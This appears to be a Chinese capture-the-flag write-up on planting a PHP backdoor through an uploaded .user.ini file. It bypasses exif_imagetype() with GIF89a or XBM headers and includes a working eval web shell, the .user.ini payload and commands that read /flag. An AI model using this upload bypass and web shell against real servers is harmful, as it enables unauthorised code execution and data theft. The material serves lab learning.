知识点
- user.ini文件构成的PHP后门
文章: user.ini文件构成的PHP后门: https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html
1、利用.user.ini上传\隐藏后门
条件
- 服务器脚本语言为PHP
- 服务器使用CGI/FastCGI模式
- 上传目录下要有可执行的php文件
实例
上传.user.ini
绕过黑名单检验GIF89a //绕过exif_imagetype()
auto_prepend_file=a.jpg //指定在主文件之前自动解析的文件的名称,并包含该文件,就像使用require函数调用它一样。
auto_append_file=a.jpg //解析后进行包含
优势
跟.htaccess
后门比,适用范围更广,nginx/apache/IIS都有效,而.htaccess
只适用于apache
2、绕过exif_imagetype()的奇技淫巧
#define width 20
#define height 10
采用xbm格式X Bit Map,绕过exif_imagetype()方法的检测,上传文件来解析。
在计算机图形学中,X Window系统使用X BitMap,一种纯文本二进制图像格式,用于存储X GUI中使用的光标和图标位图。 XBM数据由一系列包含单色像素数据的静态无符号字符数组组成,当格式被普遍使用时,XBM通常出现在标题.h文件中,每个图像在标题中存储一个数组。 也就是用c代码来标识一个xbm文件,前两个#defines指定位图的高度和宽度【以像素为单位,比如以下xbm文件:
#define test_width 16
#define test_height 7
启动靶机
上传了一个图片马,但是不能使用
1. 制作.user.ini文件
制作.user.ini
文件,通过auto_append_file
或auto_prepend_file
来包含后门
因为后台用exif_imagetype
函数检测文件类型,所以我们在文件前加上图片的特征,来绕过检测。
GIF89a
#define test_width 16
#define test_height 7
auto_prepend_file=shell2.jpg
2. 制作图片马
此处注意,此题中过滤了<?
,所以我们就换个方法制作图片马。注意生成的图片马的名称,要和.user.ini中的配置:auto_prepend_file的值相同。
<script language="php">
@eval($_POST['shell']);
</script>
3. 上传.user.ini文件和图片马
4. 蚁剑连接或直接从页面读取flag
http://3d49cf87-c85c-43ca-87e5-05caacc68056.node4.buuoj.cn:81/uploads/125f98a03b681c11163a920aca0ec57c/index.php
页面读取:
shell = var_dump(scandir("/"));
shell = var_dump(file_get_contents("/flag"));
蚁剑连接:
真的好庆幸,我来到了这里 —2021.08.18